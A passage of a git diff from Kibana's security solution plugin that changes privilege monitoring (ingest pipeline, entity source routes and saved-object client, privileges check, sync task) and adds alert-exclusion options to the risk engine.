'./users/bulk/utils'; import type { PrivMonBulkUser, PrivMonUserSource } from './types'; -import type { MonitoringEntitySourceDescriptor } from './saved_objects'; import { PrivilegeMonitoringEngineDescriptorClient, MonitoringEntitySourceDescriptorClient, } from './saved_objects'; - +import { + PRIVMON_EVENT_INGEST_PIPELINE_ID, + eventIngestPipeline, +} from './elasticsearch/pipelines/event_ingested'; interface PrivilegeMonitoringClientOpts { logger: Logger; clusterClient: IScopedClusterClient; @@ -134,6 +134,9 @@ export class PrivilegeMonitoringDataClient { `Created index source for privilege monitoring: ${JSON.stringify(indexSourceDescriptor)}` ); try { + this.log('debug', 'Creating privilege user monitoring event.ingested pipeline'); + await this.createIngestPipelineIfDoesNotExist(); + await this.createOrUpdateIndex().catch((e) => { if (e.meta.body.error.type === 'resource_already_exists_exception') { this.opts.logger.info('Privilege monitoring index already exists'); @@ -157,8 +160,6 @@ export class PrivilegeMonitoringDataClient { this.opts.telemetry?.reportEvent(PRIVMON_ENGINE_INITIALIZATION_EVENT.eventType, { duration, }); - // sync all index users from monitoring sources - await this.plainIndexSync(); } catch (e) { this.log('error', `Error initializing privilege monitoring engine: ${e}`); this.audit( @@ -195,6 +196,7 @@ export class PrivilegeMonitoringDataClient { } public async createOrUpdateIndex() { + this.log('info', `Creating or updating index: ${this.getIndex()}`); await createOrUpdateIndex({ esClient: this.internalUserClient, logger: this.opts.logger, @@ -204,6 +206,7 @@ export class PrivilegeMonitoringDataClient { settings: { hidden: true, mode: 'lookup', + default_pipeline: PRIVMON_EVENT_INGEST_PIPELINE_ID, }, }, }); @@ -219,8 +222,21 @@ export class PrivilegeMonitoringDataClient { } } + public async createIngestPipelineIfDoesNotExist() { + const pipelinesResponse = await this.internalUserClient.ingest.getPipeline( + { id: PRIVMON_EVENT_INGEST_PIPELINE_ID }, + { ignore: [404] } + ); + if (!pipelinesResponse[PRIVMON_EVENT_INGEST_PIPELINE_ID]) { + this.log('info', 'Privileged user monitoring ingest pipeline does not exist, creating.'); + await this.internalUserClient.ingest.putPipeline(eventIngestPipeline); + } else { + this.log('info', 'Privileged user monitoring ingest pipeline already exists.'); + } + } + /** - * This create a index for user to populate privileged users. + * This creates an index for the user to populate privileged users. * It already defines the mappings and settings for the index. */ public createPrivilegesImportIndex(indexName: string, mode: 'lookup' | 'standard') { @@ -239,7 +255,7 @@ export class PrivilegeMonitoringDataClient { const { indices, fields } = await this.esClient.fieldCaps({ index: [query ? `*${query}*` : '*', ...PRE_EXCLUDE_INDICES], types: ['keyword'], - fields: ['user.name.keyword'], // search for indices with field 'user.name.keyword' of type 'keyword' + fields: ['user.name'], include_unmapped: true, ignore_unavailable: true, allow_no_indices: true, @@ -248,7 +264,7 @@ export class PrivilegeMonitoringDataClient { filters: '-parent', }); - const indicesWithUserName = fields['user.name.keyword']?.keyword?.indices ?? indices; + const indicesWithUserName = fields['user.name']?.keyword?.indices ?? indices; if (!Array.isArray(indicesWithUserName) || indicesWithUserName.length === 0) { return []; @@ -428,8 +444,7 @@ export class PrivilegeMonitoringDataClient { */ public async plainIndexSync() { // get all monitoring index source saved objects of type 'index' - const indexSources: MonitoringEntitySourceDescriptor[] = - await this.monitoringIndexSourceClient.findByIndex(); + const indexSources = await this.monitoringIndexSourceClient.findByIndex(); if (indexSources.length === 0) { this.log('debug', 'No monitoring index sources found. Skipping sync.'); return; @@ -530,6 +545,8 @@ export class PrivilegeMonitoringDataClient { existingUserId: existingUserMap.get(username), })); + if (usersToWrite.length === 0) return batchUsernames; + const ops = this.buildBulkOperationsForUsers(usersToWrite, this.getIndex()); this.log('debug', `Executing bulk operations for ${usersToWrite.length} users`); try { @@ -711,7 +728,7 @@ export class PrivilegeMonitoringDataClient { index: indexName, size: batchSize, _source: ['user.name'], - sort: [{ 'user.name.keyword': 'asc' }], + sort: [{ 'user.name': 'asc' }], search_after: searchAfter, query, }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_privileges.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_privileges.ts new file mode 100644 index 0000000000000..d720a4efec6b9 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_privileges.ts @@ -0,0 +1,28 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { KibanaRequest } from '@kbn/core/server'; +import type { SecurityPluginStart } from '@kbn/security-plugin/server'; +import { getPrivilegeUserMonitoringRequiredEsIndexPrivileges } from '../../../../common/entity_analytics/privilege_monitoring/utils'; +import { checkAndFormatPrivileges } from '../utils/check_and_format_privileges'; + +export const getReadPrivilegeUserMonitoringPrivileges = async ( + request: KibanaRequest, + security: SecurityPluginStart, + namespace: string +) => { + return checkAndFormatPrivileges({ + request, + security, + privilegesToCheck: { + elasticsearch: { + cluster: [], + index: getPrivilegeUserMonitoringRequiredEsIndexPrivileges(namespace), + }, + }, + }); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/list.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/list.ts index 46c4dd3b85383..85f7895efa0ce 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/list.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/list.ts @@ -8,9 +8,13 @@ import { buildSiemResponse } from '@kbn/lists-plugin/server/routes/utils'; import { transformError } from '@kbn/securitysolution-es-utils'; import type { IKibanaResponse, Logger } from '@kbn/core/server'; -import type { MonitoringEntitySourceResponse } from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; +import { buildRouteValidationWithZod } from '@kbn/zod-helpers'; import { API_VERSIONS, APP_ID } from '../../../../../../common/constants'; import type { EntityAnalyticsRoutesDeps } from '../../../types'; +import { + ListEntitySourcesRequestQuery, + type ListEntitySourcesResponse, +} from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; export const listMonitoringEntitySourceRoute = ( router: EntityAnalyticsRoutesDeps['router'], @@ -30,19 +34,19 @@ export const listMonitoringEntitySourceRoute = ( .addVersion( { version: API_VERSIONS.public.v1, - validate: {}, + validate: { + request: { + query: buildRouteValidationWithZod(ListEntitySourcesRequestQuery), + }, + }, }, - async ( - context, - request, - response - ): Promise> => { + async (context, request, response): Promise> => { const siemResponse = buildSiemResponse(response); try { const secSol = await context.securitySolution; const client = secSol.getMonitoringEntitySourceDataClient(); - const body = await client.list(); + const body = await client.list(request.query); return response.ok({ body }); } catch (e) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/monitoring_entity_source.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/monitoring_entity_source.ts index c6f5f252b997d..59c38f8b54d09 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/monitoring_entity_source.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/monitoring_entity_source/monitoring_entity_source.ts @@ -10,11 +10,19 @@ import { buildSiemResponse } from '@kbn/lists-plugin/server/routes/utils'; import { transformError } from '@kbn/securitysolution-es-utils'; import type { IKibanaResponse, Logger } from '@kbn/core/server'; - -import type { MonitoringEntitySourceResponse } from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { API_VERSIONS, APP_ID } from '../../../../../../common/constants'; import type { EntityAnalyticsRoutesDeps } from '../../../types'; -import { MonitoringEntitySourceDescriptor } from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; +import type { + GetEntitySourceResponse, + UpdateEntitySourceResponse, +} from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; +import { + CreateEntitySourceRequestBody, + UpdateEntitySourceRequestBody, + type CreateEntitySourceResponse, + GetEntitySourceRequestParams, + UpdateEntitySourceRequestParams, +} from '../../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; export const monitoringEntitySourceRoute = ( router: EntityAnalyticsRoutesDeps['router'], @@ -36,15 +44,11 @@ export const monitoringEntitySourceRoute = ( version: API_VERSIONS.public.v1, validate: { request: { - body: MonitoringEntitySourceDescriptor, + body: CreateEntitySourceRequestBody, }, }, }, - async ( - context, - request, - response - ): Promise> => { + async (context, request, response): Promise> => { const siemResponse = buildSiemResponse(response); try { @@ -63,10 +67,11 @@ export const monitoringEntitySourceRoute = ( } } ); + router.versioned .get({ access: 'public', - path: '/api/entity_analytics/monitoring/entity_source', + path: '/api/entity_analytics/monitoring/entity_source/{id}', security: { authz: { requiredPrivileges: ['securitySolution', `${APP_ID}-entity-analytics`], @@ -76,19 +81,19 @@ export const monitoringEntitySourceRoute = ( .addVersion( { version: API_VERSIONS.public.v1, - validate: {}, + validate: { + request: { + params: GetEntitySourceRequestParams, + }, + }, }, - async ( - context, - request, - response - ): Promise> => { + async (context, request, response): Promise> => { const siemResponse = buildSiemResponse(response); try { const secSol = await context.securitySolution; const client = secSol.getMonitoringEntitySourceDataClient(); - const body = await client.get(); + const body = await client.get(request.params.id); return response.ok({ body }); } catch (e) { const error = transformError(e); @@ -100,4 +105,44 @@ export const monitoringEntitySourceRoute = ( } } ); + + router.versioned + .put({ + access: 'public', + path: '/api/entity_analytics/monitoring/entity_source/{id}', + security: { + authz: { + requiredPrivileges: ['securitySolution', `${APP_ID}-entity-analytics`], + }, + }, + }) + .addVersion( + { + version: API_VERSIONS.public.v1, + validate: { + request: { + body: UpdateEntitySourceRequestBody, + params: UpdateEntitySourceRequestParams, + }, + }, + }, + async (context, request, response): Promise> => { + const siemResponse = buildSiemResponse(response); + + try { + const secSol = await context.securitySolution; + const client = secSol.getMonitoringEntitySourceDataClient(); + const body = await client.update({ ...request.body, id: request.params.id }); + + return response.ok({ body }); + } catch (e) { + const error = transformError(e); + logger.error(`Error creating monitoring entity source sync config: ${error.message}`); + return siemResponse.error({ + statusCode: error.statusCode, + body: error.message, + }); + } + } + ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/privileges.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/privileges.ts new file mode 100644 index 0000000000000..e6251356c12b5 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/privileges.ts @@ -0,0 +1,61 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { IKibanaResponse, Logger } from '@kbn/core/server'; +import { buildSiemResponse } from '@kbn/lists-plugin/server/routes/utils'; +import { transformError } from '@kbn/securitysolution-es-utils'; +import type { PrivMonPrivilegesResponse } from '../../../../../common/api/entity_analytics/privilege_monitoring/privileges.gen'; +import { + API_VERSIONS, + APP_ID, + PRIVILEGE_MONITORING_PRIVILEGE_CHECK_API, +} from '../../../../../common/constants'; +import type { EntityAnalyticsRoutesDeps } from '../../types'; +import { getReadPrivilegeUserMonitoringPrivileges } from '../privilege_monitoring_privileges'; + +export const privilegesCheckPrivilegeMonitoringRoute = ( + router: EntityAnalyticsRoutesDeps['router'], + logger: Logger, + getStartServices: EntityAnalyticsRoutesDeps['getStartServices'] +) => { + router.versioned + .get({ + access: 'public', + path: PRIVILEGE_MONITORING_PRIVILEGE_CHECK_API, + security: { + authz: { + requiredPrivileges: ['securitySolution', `${APP_ID}-entity-analytics`], + }, + }, + }) + .addVersion( + { + version: API_VERSIONS.public.v1, + validate: {}, + }, + + async (context, request, response): Promise> => { + const siemResponse = buildSiemResponse(response); + const secSol = await context.securitySolution; + const spaceId = secSol.getSpaceId(); + const [_, { security }] = await getStartServices(); + + try { + const body = await getReadPrivilegeUserMonitoringPrivileges(request, security, spaceId); + return response.ok({ body }); + } catch (e) { + const error = transformError(e); + + logger.error(`Error checking privilege monitoring privileges: ${error.message}`); + return siemResponse.error({ + statusCode: error.statusCode, + body: error.message, + }); + } + } + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/register_privilege_monitoring_routes.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/register_privilege_monitoring_routes.ts index c6f5f7e6cf2c4..2eb5cdd0a6343 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/register_privilege_monitoring_routes.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/register_privilege_monitoring_routes.ts @@ -25,16 +25,19 @@ import { import { padInstallRoute } from './privileged_access_detection/pad_install'; import { padGetStatusRoute } from './privileged_access_detection/pad_get_installation_status'; +import { privilegesCheckPrivilegeMonitoringRoute } from './privileges'; export const registerPrivilegeMonitoringRoutes = ({ router, logger, config, + getStartServices, }: EntityAnalyticsRoutesDeps) => { padInstallRoute(router, logger, config); padGetStatusRoute(router, logger, config); initPrivilegeMonitoringEngineRoute(router, logger, config); healthCheckPrivilegeMonitoringRoute(router, logger, config); + privilegesCheckPrivilegeMonitoringRoute(router, logger, getStartServices); searchPrivilegeMonitoringIndicesRoute(router, logger); createPrivilegeMonitoringIndicesRoute(router, logger); monitoringEntitySourceRoute(router, logger, config); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/users/upload_csv.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/users/upload_csv.ts index a63db0f42a574..2c43dff97debf 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/users/upload_csv.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/routes/users/upload_csv.ts @@ -16,7 +16,7 @@ import type { ConfigType } from '../../../../../config'; import type { PrivmonBulkUploadUsersCSVResponse } from '../../../../../../common/api/entity_analytics/privilege_monitoring/users/upload_csv.gen'; import { API_VERSIONS, APP_ID } from '../../../../../../common/constants'; import type { EntityAnalyticsRoutesDeps } from '../../../types'; -import { checkAndInitPrivilegedMonitoringResources } from '../../check_and_init_prvileged_monitoring_resources'; +import { checkAndInitPrivilegedMonitoringResources } from '../../check_and_init_privileged_monitoring_resources'; export const uploadUsersCSVRoute = ( router: EntityAnalyticsRoutesDeps['router'], diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/saved_objects/monitoring_entity_source.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/saved_objects/monitoring_entity_source.ts index 8725361603b18..b419d5d7a0947 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/saved_objects/monitoring_entity_source.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/saved_objects/monitoring_entity_source.ts @@ -5,6 +5,11 @@ * 2.0. */ import type { SavedObjectsClientContract } from '@kbn/core/server'; +import type { + CreateMonitoringEntitySource, + ListEntitySourcesRequestQuery, + MonitoringEntitySource, +} from '../../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { monitoringEntitySourceTypeName } from './monitoring_entity_source_type'; export interface MonitoringEntitySourceDependencies { @@ -12,126 +17,93 @@ export interface MonitoringEntitySourceDependencies { namespace: string; } -export interface MonitoringEntitySourceDescriptor { - type: string; - name: string; - managed?: boolean; - indexPattern?: string; - enabled?: boolean; - error?: string; - integrationName?: string; - matchers?: Array<{ - fields: string[]; - values: string[]; - }>; - filter?: Record; -} - export class MonitoringEntitySourceDescriptorClient { constructor(private readonly dependencies: MonitoringEntitySourceDependencies) {} - getDynamicSavedObjectId(attributes: MonitoringEntitySourceDescriptor) { - const { type, indexPattern, integrationName } = this.assertValidIdFields(attributes); - const sourceName = indexPattern || integrationName; - return `entity-analytics-monitoring-entity-source-${this.dependencies.namespace}-${type}${ - sourceName ? `-${sourceName}` : '' - }`; - } + async create(attributes: CreateMonitoringEntitySource) { + await this.assertNameUniqueness(attributes); - async create(attributes: MonitoringEntitySourceDescriptor) { - const savedObjectId = this.getDynamicSavedObjectId(attributes); - - try { - // If exists, update it. - const { attributes: updated } = - await this.dependencies.soClient.update( - monitoringEntitySourceTypeName, - savedObjectId, - attributes, - { refresh: 'wait_for' } - ); - return updated; - } catch (e) { - if (e.output?.statusCode !== 404) throw e; - - // Does not exist, create it. - const { attributes: created } = - await this.dependencies.soClient.create( - monitoringEntitySourceTypeName, - attributes, - { id: savedObjectId } - ); - return created; - } + const { id, attributes: created } = + await this.dependencies.soClient.create( + monitoringEntitySourceTypeName, + { ...attributes, managed: attributes.managed ?? false } // Ensure managed is set to true on creation + ); + + return { ...created, id }; } - async update(monitoringEntitySource: Partial) { - const id = this.getDynamicSavedObjectId( - monitoringEntitySource as MonitoringEntitySourceDescriptor + async update(monitoringEntitySource: Partial & { id: string }) { + await this.assertNameUniqueness(monitoringEntitySource); + + const { attributes } = await this.dependencies.soClient.update( + monitoringEntitySourceTypeName, + monitoringEntitySource.id, + monitoringEntitySource, + { refresh: 'wait_for' } ); - const { attributes } = - await this.dependencies.soClient.update( - monitoringEntitySourceTypeName, - id, - monitoringEntitySource, - { refresh: 'wait_for' } - ); + return attributes; } - async find() { - return this.dependencies.soClient.find({ + async find(query?: ListEntitySourcesRequestQuery) { + const scopedSoClient = this.dependencies.soClient.asScopedToNamespace( + this.dependencies.namespace + ); + + return scopedSoClient.find({ type: monitoringEntitySourceTypeName, - namespaces: [this.dependencies.namespace], + filter: this.getQueryFilters(query), }); } - /** - * Need to update to understand the id based on the - * type and indexPattern or integrationName. - * - * Two options: create a getById method that takes the id, - * or use a dynamic ID based on the type and indexPattern/integrationName. - */ - async get() { - const { attributes } = await this.dependencies.soClient.get( + private getQueryFilters = (query?: ListEntitySourcesRequestQuery) => { + return Object.entries(query ?? {}) + .map(([key, value]) => `${monitoringEntitySourceTypeName}.attributes.${key}: ${value}`) + .join(' and '); + }; + + async get(id: string): Promise { + const { attributes } = await this.dependencies.soClient.get( monitoringEntitySourceTypeName, - 'temp-id' // TODO: https://github.com/elastic/security-team/issues/12851 + id ); return attributes; } - /** - * Need to update to understand the id based on the - * type and indexPattern or integrationName. - * - * * Two options: create a getById method that takes the id, - * or use a dynamic ID based on the type and indexPattern/integrationName. - */ - async delete() { - await this.dependencies.soClient.delete(monitoringEntitySourceTypeName, 'temp-id'); // TODO: https://github.com/elastic/security-team/issues/12851 + async delete(id: string) { + await this.dependencies.soClient.delete(monitoringEntitySourceTypeName, id); } - public async findByIndex(): Promise { + public async findByIndex(): Promise { const result = await this.find(); return result.saved_objects .filter((so) => so.attributes.type === 'index') - .map((so) => so.attributes); + .map((so) => ({ ...so.attributes, id: so.id })); } - public async findAll(): Promise { - const result = await this.find(); + public async findAll(query: ListEntitySourcesRequestQuery): Promise { + const result = await this.find(query); return result.saved_objects .filter((so) => so.attributes.type !== 'csv') // from the spec we are not using CSV on monitoring - .map((so) => so.attributes); + .map((so) => ({ ...so.attributes, id: so.id })); } - public assertValidIdFields( - source: Partial - ): MonitoringEntitySourceDescriptor { - if (!source.type || (!source.indexPattern && !source.integrationName)) { - throw new Error('Missing required fields for ID generation'); + private async assertNameUniqueness(attributes: Partial): Promise { + if (attributes.name) { + const { saved_objects: savedObjects } = await this.find({ + name: attributes.name, + }); + + // Exclude the current entity source if updating + const filteredSavedObjects = attributes.id + ? savedObjects.filter((so) => so.id !== attributes.id) + : savedObjects; + + if (filteredSavedObjects.length > 0) { + throw new Error( + `A monitoring entity source with the name "${attributes.name}" already exists.` + ); + } } - return source as MonitoringEntitySourceDescriptor; } } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/tasks/privilege_monitoring_task.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/tasks/privilege_monitoring_task.ts index 929afe1489574..ec8be11771cdc 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/tasks/privilege_monitoring_task.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/tasks/privilege_monitoring_task.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger, AnalyticsServiceSetup } from '@kbn/core/server'; +import type { Logger, AnalyticsServiceSetup, AuditLogger } from '@kbn/core/server'; import type { ConcreteTaskInstance, TaskManagerSetupContract, @@ -23,11 +23,15 @@ import { stateSchemaByVersion, type LatestTaskStateSchema as PrivilegeMonitoringTaskState, } from './state'; +import { getApiKeyManager } from '../auth/api_key'; +import { PrivilegeMonitoringDataClient } from '../privilege_monitoring_data_client'; +import { buildScopedInternalSavedObjectsClientUnsafe } from '../../risk_score/tasks/helpers'; interface RegisterParams { getStartServices: EntityAnalyticsRoutesDeps['getStartServices']; logger: Logger; telemetry: AnalyticsServiceSetup; + auditLogger?: AuditLogger; taskManager: TaskManagerSetupContract | undefined; experimentalFeatures: ExperimentalFeatures; kibanaVersion: string; @@ -39,6 +43,9 @@ interface RunParams { telemetry: AnalyticsServiceSetup; experimentalFeatures: ExperimentalFeatures; taskInstance: ConcreteTaskInstance; + getPrivilegedUserMonitoringDataClient: ( + namespace: string + ) => Promise; } interface StartParams { @@ -54,6 +61,7 @@ const getTaskId = (namespace: string): string => `${TYPE}:${namespace}:${VERSION export const registerPrivilegeMonitoringTask = ({ getStartServices, logger, + auditLogger, telemetry, taskManager, kibanaVersion, @@ -65,6 +73,39 @@ export const registerPrivilegeMonitoringTask = ({ ); return; } + const getPrivilegedUserMonitoringDataClient = async (namespace: string) => { + const [core, { taskManager: taskManagerStart, security, encryptedSavedObjects }] = + await getStartServices(); + + const apiKeyManager = getApiKeyManager({ + core, + logger, + security, + encryptedSavedObjects, + namespace, + }); + + const client = await apiKeyManager.getClient(); + + if (!client) { + logger.error('[Privilege Monitoring] Unable to create Elasticsearch client from API key.'); + return undefined; + } + + const soClient = buildScopedInternalSavedObjectsClientUnsafe({ coreStart: core, namespace }); + + return new PrivilegeMonitoringDataClient({ + logger, + clusterClient: client.clusterClient, + namespace, + soClient, + taskManager: taskManagerStart, + auditLogger, + kibanaVersion, + telemetry, + apiKeyManager, + }); + }; taskManager.registerTaskDefinitions({ [getTaskName()]: { @@ -75,6 +116,7 @@ export const registerPrivilegeMonitoringTask = ({ logger, telemetry, experimentalFeatures, + getPrivilegedUserMonitoringDataClient, }), }, }); @@ -85,6 +127,9 @@ const createPrivilegeMonitoringTaskRunnerFactory = logger: Logger; telemetry: AnalyticsServiceSetup; experimentalFeatures: ExperimentalFeatures; + getPrivilegedUserMonitoringDataClient: ( + namespace: string + ) => Promise; }): TaskRunCreatorFunction => ({ taskInstance }) => { let cancelled = false; @@ -97,6 +142,7 @@ const createPrivilegeMonitoringTaskRunnerFactory = telemetry: deps.telemetry, taskInstance, experimentalFeatures: deps.experimentalFeatures, + getPrivilegedUserMonitoringDataClient: deps.getPrivilegedUserMonitoringDataClient, }), cancel: async () => { cancelled = true; @@ -110,6 +156,7 @@ const runPrivilegeMonitoringTask = async ({ telemetry, taskInstance, experimentalFeatures, + getPrivilegedUserMonitoringDataClient, }: RunParams): Promise<{ state: PrivilegeMonitoringTaskState; }> => { @@ -127,9 +174,16 @@ const runPrivilegeMonitoringTask = async ({ try { logger.info('[Privilege Monitoring] Running privilege monitoring task'); + const dataClient = await getPrivilegedUserMonitoringDataClient(state.namespace); + if (!dataClient) { + logger.error('[Privilege Monitoring] error creating data client.'); + throw Error('No data client was found'); + } + await dataClient.plainIndexSync(); } catch (e) { - logger.error('[Privilege Monitoring] Error running privilege monitoring task', e); + logger.error(`[Privilege Monitoring] Error running privilege monitoring task: ${e.message}`); } + logger.info('[Privilege Monitoring] Finished running privilege monitoring task'); return { state: updatedState }; }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_engine/utils/saved_object_configuration.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_engine/utils/saved_object_configuration.ts index 57345b88034ff..978ec80ed181c 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_engine/utils/saved_object_configuration.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_engine/utils/saved_object_configuration.ts @@ -10,9 +10,9 @@ import type { SavedObjectsFindResult, } from '@kbn/core/server'; +import { getAlertsIndex } from '../../../../../common/entity_analytics/utils'; import type { RiskEngineConfiguration } from '../../types'; import { riskEngineConfigurationTypeName } from '../saved_object'; -import { getAlertsIndex } from '../../utils/get_alerts_index'; export interface SavedObjectsClientArg { savedObjectsClient: SavedObjectsClientContract; @@ -30,6 +30,7 @@ export const getDefaultRiskEngineConfiguration = ({ interval: '1h', pageSize: 3_500, range: { start: 'now-30d', end: 'now' }, + excludeAlertStatuses: ['closed'], _meta: { // Upgrade this property when changing mappings mappingsVersion: 4, @@ -59,7 +60,7 @@ export const updateSavedObjectAttribute = async ({ throw new Error('Risk engine configuration not found'); } - const result = await savedObjectsClient.update( + return savedObjectsClient.update( riskEngineConfigurationTypeName, savedObjectConfiguration.id, { @@ -69,8 +70,6 @@ export const updateSavedObjectAttribute = async ({ refresh: 'wait_for', } ); - - return result; }; export const initSavedObjects = async ({ @@ -81,12 +80,11 @@ export const initSavedObjects = async ({ if (configuration) { return configuration; } - const result = await savedObjectsClient.create( + return savedObjectsClient.create( riskEngineConfigurationTypeName, getDefaultRiskEngineConfiguration({ namespace }), {} ); - return result; }; export const deleteSavedObjects = async ({ diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/routes/entity_calculation.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/routes/entity_calculation.ts index a5dbf9c3ea3f2..4cb6a2ffb8cc5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/routes/entity_calculation.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/routes/entity_calculation.ts @@ -77,6 +77,8 @@ const handler: (logger: Logger) => Handler = (logger) => async (context, request pageSize, alertSampleSizePerShard, filter: userFilter, + excludeAlertStatuses, + excludeAlertTags, } = entityAnalyticsConfig; if (!enabled) { @@ -115,6 +117,8 @@ const handler: (logger: Logger) => Handler = (logger) => async (context, request runtimeMappings, weights: [], alertSampleSizePerShard, + excludeAlertStatuses, + excludeAlertTags, afterKeys, returnScores: true, refresh, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/tasks/risk_scoring_task.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/tasks/risk_scoring_task.ts index ef9dd756b91ca..fff8b5e2865a5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/tasks/risk_scoring_task.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/risk_score/tasks/risk_scoring_task.ts @@ -277,6 +277,8 @@ export const runTask = async ({ identifierType: configuredIdentifierType, range: configuredRange, pageSize, + excludeAlertStatuses, + excludeAlertTags, alertSampleSizePerShard, } = configuration; if (!enabled) { @@ -314,6 +316,8 @@ export const runTask = async ({ runtimeMappings, weights: [], alertSampleSizePerShard, + excludeAlertStatuses, + excludeAlertTags, }); const tookMs = Date.now() - now; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/types.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/types.ts index 88280795c1585..1ea2f3d5a3864 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/types.ts @@ -111,6 +111,8 @@ export interface CalculateAndPersistScoresParams { runtimeMappings: MappingRuntimeFields; weights?: RiskScoreWeights; alertSampleSizePerShard?: number; + excludeAlertStatuses?: string[]; + excludeAlertTags?: string[]; returnScores?: boolean; refresh?: 'wait_for'; } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/jest.config.js b/x-pack/solutions/security/plugins/security_solution/server/lib/jest.config.js index e9dc836a6a47c..08d1302f8503b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/jest.config.js +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/jest.config.js @@ -16,4 +16,7 @@ module.exports = { '/x-pack/solutions/security/plugins/security_solution/server/lib/**/*.{ts,tsx}', ], moduleNameMapper: require('../__mocks__/module_name_map'), + globals: { + Uint8Array: Uint8Array, + }, }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/async_sender.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/async_sender.ts index 107ca457b2cfb..354b3d381c467 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/async_sender.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/async_sender.ts @@ -69,7 +69,7 @@ 